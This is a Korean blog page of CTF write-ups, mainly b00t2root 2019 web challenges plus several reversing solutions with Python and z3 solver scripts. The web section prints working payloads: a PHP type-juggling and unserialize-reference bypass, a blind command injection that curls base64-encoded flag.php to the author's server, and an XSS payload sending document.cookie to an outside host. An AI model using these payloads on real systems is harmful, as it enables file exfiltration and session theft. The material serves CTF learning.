EasyPhp


간단한 php 트릭류 문제다.

소스는 아래와 같다.


<?php

include "flags.php";

highlight_file(__FILE__);

error_reporting(0);


$str1 = $_GET['1']; 


if(isset($_GET['1'])){ 

    if($str1 == md5($str1)){ 

        echo $flag1; 

    } 

    else{ 

        die(); 

    } 

else{ 

    die();    


$str2 = $_GET['2']; 

$str3 = $_GET['3']; 


if(isset($_GET['2']) && isset($_GET['3'])){ 

    if($str2 !== $str3){ 

        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 

            echo $flag2; 

        } 

        else{ 

            die(); 

        } 

    } 

    else{ 

        die(); 

    } 

else{ 

    die();    


class Secrets { 

    var $temp; 

    var $flag; 


if (isset($_GET['4'])) { 

    $str4 = $_GET['4']; 


    if(get_magic_quotes_gpc()){ 

        $str4=stripslashes($str4); 

    } 


    $res = unserialize($str4); 


    if ($res) { 

    $res->flag=$flag3; 

        if ($res->flag === $res->temp) 

            echo $res->flag; 

        else 

            die(); 

    } 

    else die(); 

?>


첫번째 조건은 php Type Juggling 사용해서 값 구해주면 되고, 두번째도 array 트릭으로 우회해주면 된다. 마지막 unserialize쪽은 첨 보는 류의 bypass코드였는데 위 코드가 성립하려면 $res->temp가 무조건 $res->flag를 가리켜야 할 것 같았다. 딱 상황이 레퍼런스 변수 사용할때 느낌이었는데 php에서도 레퍼런스 변수 사용이 가능한가 찾아보니 사용가능하길래 바로 요걸로 serialize데이터를 만들었다.


<?php

class Secrets { 

    var $temp; 

    var $flag; 

$a = new Secrets();

$a->temp=&$a->flag;

echo serialize($a);


result = O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}


Final Payload

?1=0e215962017&2[]=123&3[]=456&4=O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}


Flag = b00t2root{wh4t3v3r_17_74k3s_cuz_1_l0v3_th3_4dren4l1n3_1n_my_v31ns_932b315}




Set Me Free


간단한 SQLI 문제이다.




계정 등록 시 아이디 존재여부 확인하는 쿼리에서 Blind SQLi가 가능해서 이걸로 isRestricted 권한이 False인 계정의 아이디 비번구해서 로그인해주면 된다.




근데 인젝션으로 isRestricted 권한이 False인 계정을 찾으면 안나온다. 그래서 isRestricted가 아닌 userId가 check 테이블에 존재하지 않는 계정을 찾아서 로그인해주면 플래그가 나온다.


Flag = b00t2root{Y0u'r3_5UCcesful_In_S37t1ng_M3_fr33!}




PingService


간단한 Blind Command Injection 문제다.


대충 X-Forwarded-For 세팅해주고 들어가면 ping 명령어를 사용하는 페이지가 나오는데 코드를 보면 아래와 같다.


<?php 


require_once('helper.php'); 

if (getIP() != "127.0.0.1"){ 

?> 

<!DOCTYPE html> 

<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

<?php 

    die("Oye! This service is only for local client"); 

?> 

</body> 

</html> 

<?php 

}else{ 

?> 


<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

  <div class="login"> 

    <div class="login-screen"> 

      <div class="app-title"> 

        <h1>Ping Service</h1> 

      </div> 

<form action="" method="post"> 

      <div class="login-form"> 

        <div class="control-group"> 

        <input type="text" class="login-field" placeholder="8.8.8.8" id="ip" name="ip"> 

        <label class="login-field-icon fui-user" for="login-form"></label> 

        </div> 


        <button type="submit" class="btn btn-primary btn-large btn-block">Submit</button> 

      </div> 

      </form>  

    </div> 

  </div> 


  </body> 

</html> 


<?php 



if(!isset($_POST['ip'])){ 

    highlight_file(__FILE__); 

else if(isset($_POST['ip'])) { 

    $ip = $_POST['ip']; 

    $ip = 'ping -c 1 '.clean($ip); 

    $res = str_replace("\n", "</br>\n", shell_exec($ip)); 

    if(strpos($res, "100% packet loss")!==false){ 

      echo "<center> <h2 style='color:red'>Not Alive </h2></center>"; 

    } 

    else{ 

      echo "<center> <h2 style='color:yellow'>Alive </h2></center>"; 

    } 




?>


별게 없어보이는데 clean이라는 함수가 명령어 실행전에 수행된다. 여기서 필터가 이루어지고 있는데 해당 함수가 존재하는 helper.php 파일의 tiled 파일이 존재해서 소스코드 leak가 가능하다.


<?php

function getIP()

{

if (@$_SERVER["HTTP_X_FORWARDED_FOR"]){

$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];

}else if (@$_SERVER["HTTP_CLIENT_IP"]){

$ip = $_SERVER["HTTP_CLIENT_IP"];

}else if (@$_SERVER["REMOTE_ADDR"]){

$ip = $_SERVER["REMOTE_ADDR"];

}else if (@getenv("HTTP_X_FORWARDED_FOR")){

$ip = getenv("HTTP_X_FORWARDED_FOR");

}else if (@getenv("HTTP_CLIENT_IP")){

$ip = getenv("HTTP_CLIENT_IP");

}else if (@getenv("REMOTE_ADDR")){

$ip = getenv("REMOTE_ADDR");

}else{

$ip = "Unknown";

}

return $ip;

}

function clean($data) {

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $data))) {

die('<center><h2 style="color:red;">Shoo Go Away heckermen... Thats not an IP Address</h2></center>');

}

    $black_list = array('"', "'", " ","\n");

    foreach ($black_list as $key) {

        // if(strpos($data, $key) !== false){

        //     die("<center> Not Allowed </center>");

        // }

        $data = str_replace($key, '', $data);

    }

    return $data;

}



?>


clean 함수를 보면 preg_match에서 m 옵션을 쓰고있어서 우회가 가능해진다.

개행으로 preg_match 넘겨주고 개행이 그다음 필터에서 replace 당하기때문에 커멘드 구분은 개행말고 ; 써주면 되고 공백은 $IFS써주면 된다.. 그담부턴 걍 curl로 플래그 파일 읽어서 내 서버로 보내주면 된다.


payload = 8.8.8.8%0a;curl$IFS$@http://my_server:9876/?`cat$IFS$@./flag.php|base64`


Flag = b00t2root{mr.s74rk_1_d0nt_feel_s0_g00d}




eXquisite Scenery Sites


간단한 Blind XSS 문제이다.


필터당하면 필터당했다고 친절하게 알려주고 필터가 별로 안빡세서 대충 필터당하는애들 적절히 우회해주면된다. 길이제한이 80글자로 있었는데 내가쓴 페이로드는 크게 길이제한에 안걸려서 상관없었다.


Payload = <svg/onload=location['href']='http://2109004139:9098/?'%2bdocument['cookie']>


Flag = b00t2root{why_y0u_st34l_my_c00ki3s?}




'CTF > Writeup' 카테고리의 다른 글

Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제 바이너리를 ida로보면 함수가 엄청 커서 헥스레이가 안된다. 근데 어셈을 보면 단순히 인풋을 1바이트씩 비교하는 로직이 반복된다.


이 때 인풋을 비교할 때 단순하게 1바이트를 비교하는 경우랑 인풋값이랑 특정 값을 xor해서 비교하는 연산 두가지 케이스로 나뉜다.




위 케이스에 맞춰서 비교하는 값들을 파이썬으로 대충 구해 쭉 출력해보면 플래그가 나온다.


solve.py

f = open("C:\Users\Administrator\Downloads\\secu","r")

contents = f.read().split("\n")

flag = ""

for i in xrange(len(contents)):

    if "cmp" in contents[i]:

        if "rbp" in contents[i]:

            tmp = contents[i-1].split(',')

            xorValue = tmp[1].replace(" ","").replace("h","")

            tmp = contents[i].split(',')

            result = tmp[1].split('h ;')

            result = chr(int("0x" + result[0].replace(" ", "").replace("h", ""), 16)^int("0x"+xorValue,16))

            flag += result

        else:

            tmp = contents[i].split(',')

            result = tmp[1].split('h ;')

            result = chr(int("0x"+result[0].replace(" ","").replace("h",""),16))

            flag += result


start = flag.find("securinets")

end = flag[start:].find("}")+1

print "[*]Find Flag = "+flag[start:start+end]




[*]Find Flag = securinets{automating_everything_is_the_new_future}


 

'CTF > Writeup' 카테고리의 다른 글

Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

open_basedir Bypass Research

2019. 3. 25. 15:37

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Profile

profile 2019. 3. 25. 14:52

이름 : 전영신


닉네임 : JeonYoungSin, JYS


소속 : SSR , Defenit


관심분야 : Web, Mobile, Reversing, Pwnable


이메일 : eorms36@ssrinc.co.kr 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Feedback


XXE 인젝션이 대놓고 터진다. 문제에서 Flag파일을 읽으라고해서 현재경로의 Flag파일 읽어보면 플래그가 나온다.


Custom Location


문제에 들어가보면 아무것도 없다. 아무 페이지나 요청해보면 에러가 터지는데 에러페이지에서 소스코드를 볼수있게 해주는 기능이 있다. 약간 lfi 같은 느낌인데 경로 조작이 안되서 해당 프레임워크에서 정해놓은 경로의 파일들만 읽기가 가능하다. 여기서부턴 그냥 내가 읽을 수 있는 파일들을 다 읽어보고 해당 파일내에 존재하는 경로 파일 또 다읽는식의 개노가다 삽질을 하면 플래그 파일이 나온다. 리얼월드에서 최대한 많은 정보 수집하려고 할때는 물론 이런식으로 모든 소스코드 leak를 하긴 하는데 씨텝에서 이런식으로 기법에 대한 고민이 아닌 단순 게싱 노가다 느낌으로 플래그 유도할줄은 상상도 못했다. 문제 풀고나서도 상당히 기분이 안좋았던 문제라 기억에 남는다.


SQL Injected


소스코드를 제공해주는데 Indirect SQLi가 터진다. 계정등록하면 바로 로그인되는데 이 때 세팅되는 세션의 username값에는 필터가 적용된 값이 저장되서 재로그인해서 indirect SQLI 값 세팅해주면된다. 그다음부터는 별도로 필터가 없어서 role값이 1인 계정의 비번구해서 로그인해주면 플래그 나온다.


Beginner's Luck


소스코드를 제공해주는데 대놓고 Blind SQLI가 터진다. 근데 세션하나당 10번밖에 요청을 못해서 인젝션 할 때 세션값을 10번마다 새로 세팅받아서 해주면된다. 내 IP에 해당하는 토큰값을 디비에서 구해가지고 입력해주면 플래그 나온다.


Trading values


요건 대회 때 마지막까지 잡고있었는데 시간안에 풀지를 못하고 계속 삽질하면서 밤새다 거의 출근직전에 풀었다. 요거 풀었으면 팀이 10등권이었는데 조금 아쉬웠다.

문제를 보면 원본 값이 아래와 같은 형태였는데


/default?formula=KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc%3D&values%5Bv1%5D=STC&values%5Bv2%5D=PLA&values%5Bv3%5D=SDF&values%5Bv4%5D=OCK


formula 값을 디코딩해보면 뒤에 values 배열의 키 값으로 정의된 변수들이 사용되고 있었다.

formula 값을 v1로 지정한담에 base64 디코딩해서 보내주면 다음과 같이 객체 정보가 나왔다.


object(App\Entity\STC)#233 (4) {

  ["id":"App\Entity\STC":private]=>

  NULL

  ["avg"]=>

  int(71)

  ["mpk"]=>

  int(11)

  ["drf"]=>

  int(13)

}


여기서 값이 딱 Node.js Eval했을때 값이라 Node Code injection하면 될 것 같았는데 이상하게 관련 함수 및 객체가 죄다 안먹혔다. 그나마 현 상황에서 뿌려지는게 객체 속성들 보는거여서 Node.js의 내장 객체들을 죄다 찾다서 시도해봤다. root,global이런거 다안됬는데 this를 써보니까 응답 값에 플래그가 나왔다. 뭔가 풀긴 했는데 다른게 안되는 이유들이 이해가 안가서 약간 찝찝했다.




'CTF > Writeup' 카테고리의 다른 글

b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

TAMUctf 19 Obfuscaxor

CTF/Writeup 2019. 3. 22. 15:55

바이너리를 보면 간단한 키젠미 문제인데, 문제 이름에서도 느껴지듯이 바이너리가 난독화 되어있다. 


플래그가 출력되려면 verify_key 함수의 리턴 값이 1이어야 되는데 헥스레이로 코드를 보면 무조건 0이 리턴되길래 인풋이 들어가는 enc함수에서 동적으로 코드영역을 패치해 리턴값을 세팅하는 부분이 있는 건가 하고 해당 함수를 보니 코드가 요상하게 난독화 되어 있었다.


__int64 __fastcall verify_key(char *a1)

{

  if ( strlen(a1) > 9 && strlen(a1) <= 0x40 )

    enc(a1);

  return 0LL;

}



void __fastcall __noreturn enc(const char *a1)

{

  __int64 v1; // rdx

  __int64 v2; // rcx

  __int64 v3; // r8

  obf::for_wrapper *v4; // rax

  __int64 v5; // rbx

  __int64 v6; // rbx

  char *s; // [rsp+18h] [rbp-D8h]

  int v8; // [rsp+2Ch] [rbp-C4h]

  int v9; // [rsp+30h] [rbp-C0h]

  char v10; // [rsp+34h] [rbp-BCh]

  void *v11; // [rsp+38h] [rbp-B8h]

  _BYTE *v12; // [rsp+40h] [rbp-B0h]

  __int64 v13; // [rsp+50h] [rbp-A0h]

  __int64 v14; // [rsp+58h] [rbp-98h]

  __int64 v15; // [rsp+60h] [rbp-90h]

  __int64 v16; // [rsp+68h] [rbp-88h]

  char v17; // [rsp+70h] [rbp-80h]

  void **v18; // [rsp+90h] [rbp-60h]

  char *v19; // [rsp+98h] [rbp-58h]

  char **v20; // [rsp+A0h] [rbp-50h]

  _BYTE **v21; // [rsp+A8h] [rbp-48h]

  int *v22; // [rsp+B0h] [rbp-40h]

  unsigned __int64 v23; // [rsp+B8h] [rbp-38h]


  s = (char *)a1;

  v23 = __readfsqword(0x28u);

  v8 = 3;

  v13 = 0LL;

  v14 = 0LL;

  v11 = malloc(0x40uLL);

  v9 = strlen(a1);

  v12 = malloc(5uLL);

  obf::Num<int,3858>::Num(&v18);

  *v12 = (unsigned __int64)obf::Num<int,3858>::get(&v18) ^ 0xCC;

  obf::Num<int,2568>::Num(&v18);

  v12[1] = (unsigned __int64)obf::Num<int,2568>::get(&v18) ^ 0xA5;

  obf::Num<int,1868>::Num(&v18);

  v12[2] = (unsigned __int64)obf::Num<int,1868>::get(&v18) ^ 0xF2;

  obf::Num<int,749>::Num(&v18);

  v12[3] = (unsigned __int64)obf::Num<int,749>::get(&v18) ^ 2;

  obf::Num<int,1056>::Num(&v18);

  v12[4] = (unsigned __int64)obf::Num<int,1056>::get(&v18) ^ 0x20;

  v15 = 0LL;

  v16 = 0LL;

  obf::for_wrapper::for_wrapper<enc(char const*)::{lambda(void)#1},enc(char const*)::{lambda(void)#2},enc(char const*)::{lambda(void)#3}>(

    (__int64)&v17,

    (__int64)&v10);

  v18 = &v11;

  v19 = &v10;

  v20 = &s;

  v21 = &v12;

  v22 = &v8;

  v4 = (obf::for_wrapper *)obf::for_wrapper::set_body<enc(char const*)::{lambda(void)#4}>(

                             (__int64)&v17,

                             (__int64)&v10,

                             v1,

                             v2,

                             v3);

  obf::for_wrapper::run(v4);

  obf::for_wrapper::~for_wrapper((obf::for_wrapper *)&v17);

  std::shared_ptr<obf::base_rvholder>::~shared_ptr(&v15);

  v5 = operator new(0x18uLL);

  obf::rvholder<char *>::rvholder(v5, v11, v11);

  std::__shared_ptr<obf::base_rvholder,(__gnu_cxx::_Lock_policy)2>::reset<obf::rvholder<char *>>(&v13, v5);

  v6 = __cxa_allocate_exception(16LL);

  std::shared_ptr<obf::base_rvholder>::shared_ptr(v6, &v13);

  __cxa_throw(v6, &`typeinfo for'std::shared_ptr<obf::base_rvholder>, std::shared_ptr<obf::base_rvholder>::~shared_ptr);

}


뭔가 이상하다 싶어 verify_key 함수의 어셈코드를 보니 아래와 같이 코드 영역 중간부분을 ida가 데이터로 해석하고 있었다.



해당 부분을 convert해서 보면 아래와 같이 strcmp를 통해 어떤 값들을 비교하는걸 볼 수 있었다.



두 값을 디버깅을 통해 확인해보면 인풋을 enc함수 내에서 암호화 해 아래의 값과 비교하는걸 볼 수 있었다.


[0xAE,0x9E,0xFF,0x9C,0xAB,0xC7,0xD3,0x81,0xE7,0xEE,0xFB,0x8A,0x9D,0xEF,0x8D,0xAE]


input이 위의 값이 되도록 하면되는데 중요한건 enc 함수가 난독화되어 있어서 분석이 매우 어려웠다. 그래서 해당 함수를 분석하지 않고 일단 input이 해당 함수를 거친 후 어떻게 return되는지를 통해 해당 함수 동작을 추측해봤다.


input으로 1111111111111111 값을 주고 암호화된 값을 확인해 보면 4바이트씩 값이 반복되는걸 볼 수 있었다. 단순하게 4바이트 키 값으로 xor한다고 생각해 key를 추출해서 위의 비교 대상인 값을 xor해보면 아래와 같은 값이 나온다.


getFlag.py


table_key = [0xAE,0x9E,0xFF,0x9C,0xAB,0xC7,0xD3,0x81,0xE7,0xEE,0xFB,0x8A,0x9D,0xEF,0x8D,0xAE]

key = [222,173,190,239]

flag = ""

for i in xrange(len(table_key)):

    flag += chr(table_key[i]^key[i%4])

print flag


result = p3Asujmn9CEeCB3A


해당 값을 바이너리 실행 후 입력해보면 플래그가 나온다.












'CTF > Writeup' 카테고리의 다른 글

Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

전형적인 키젠미 문제고 z3를 사용해 주면 된다.


z3에 사용될 조건들을 보면 조금 특이한게 인풋들이 custom ord,mod 함수를 통해 재 정의된다. 


해당 함수들이 하는 역할은 0~9,A~Z의 ascii 값을 0~35의 int형 값으로 변환해 주는 역할을 한다.


위 형식에 맞춰 z3로 구해진 값을 다시 변환해주면 유효한 input이 나오고 해당 input을 통해 원격 서버의 바이너리를 실행해보면 플래그를 구할 수 있다.


solve.py


from z3 import *

def custom_ord(data):
if And(data>47,data<58):
return data-48
elif And(data>64,data<91):
return data-55
else:
print "Not Found Custom Ord!!!! Exit!!!"
exit(1)

def custom_mod(data1,data2):
return data1%data2


a1 = []
for i in xrange(16):
a1.append(z3.Int('a1['+str(i)+']'))
s = Solver()

for i in xrange(16):
s.add(And(a1[i]>-1,a1[i]<36))
#s.add(custom_mod(custom_ord(a1[0])+custom_ord(a1[1]),36)==14)
s.add(custom_mod(a1[0]+a1[1],36)==14)
s.add(custom_mod(a1[2] + a1[3], 36) == 24)
s.add(custom_mod(a1[2] - a1[0], 36) == 6)
s.add(custom_mod(a1[1] + a1[3] + a1[5], 36) == 4)
s.add(custom_mod(a1[2] + a1[4] + a1[6], 36) == 13)
s.add(custom_mod(a1[3] + a1[4] + a1[5], 36) == 22)
s.add(custom_mod(a1[6] + a1[8] + a1[10], 36) == 31)
s.add(custom_mod(a1[1] + a1[4] + a1[7], 36) == 7)
s.add(custom_mod(a1[9] + a1[12] + a1[15], 36) == 20)
s.add(custom_mod(a1[13] + a1[14] + a1[15], 36) == 12)
s.add(custom_mod(a1[8] + a1[9] + a1[10], 36) == 27)
s.add(custom_mod(a1[7] + a1[12] + a1[13], 36) == 23)


flag = ""
if s.check() == z3.sat:
try:
m = s.model()
print m
for i in range(0, 16):
if int(str(m[a1[i]]))<10:
flag += chr(int(str(m[a1[i]]))+48)
else:
flag += chr(int(str(m[a1[i]])) + 55)
print flag
except:
print "Not Found"


'CTF > Writeup' 카테고리의 다른 글

Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
SSCTF 2016 : Re1  (0) 2019.03.13
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Frida Java Reflection Hook

2019. 3. 20. 15:08

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

문제를 보면 입력 값이 총 4개의 함수를 거치면서 변환되고 이 값을 특정 값과 비교한다.



먼저 첫번째 함수를 보면 아래와 같이 개행문자를 널값으로 치환하여 문자열 끝처리를 한다.



두번째 함수는 문자열을 reverse 시키는 연산을 하는걸 볼 수 있다.



세번째 함수가 핵심 로직으로 연산이 역연산짜기 좀 까다로워서 Bruteforcing형태로 해결했다.




마지막 네번째 함수는 간단한 보수연산을 한다.





위 로직들에 맞춰 인풋의 각 자리별 문자를 BruteFocing하는 형태로 플래그를 구해줬다.


flagTable = [0x41,0x29,0xD9,0x65,0xA1,0xF1,0xE1,0xC9,0x19,0x09,0x93,0x13,0xA1,0x09,0xB9,0x49,0xB9,0x89,0xDD,0x61,0x31,0x69,0xA1,0xF1,0x71,0x21,0x9D,0xD5,0x3D,0x15,0xD5]

flag = ""


for i in xrange(len(flagTable)):

    for j in xrange(256):

        v1 = 2 * (j&0x55) | (j>>1)&0x55

        v2 = 4 * (v1 & 0x33) | (v1 >> 2) & 0x33

        result = 16 * v2 | (v2 >> 4)

        if result&0xff == ~flagTable[i]&0xff:

            flag += chr(j)


print "[*]Find Flag = " + flag[::-1]


[*]Find Flag = TWCTF{qpzisyDnbmboz76oglxpzYdk}




'CTF > Writeup' 카테고리의 다른 글

TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
SSCTF 2016 : Re1  (0) 2019.03.13
Sharif University CTF 2016 : Serial  (0) 2019.03.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,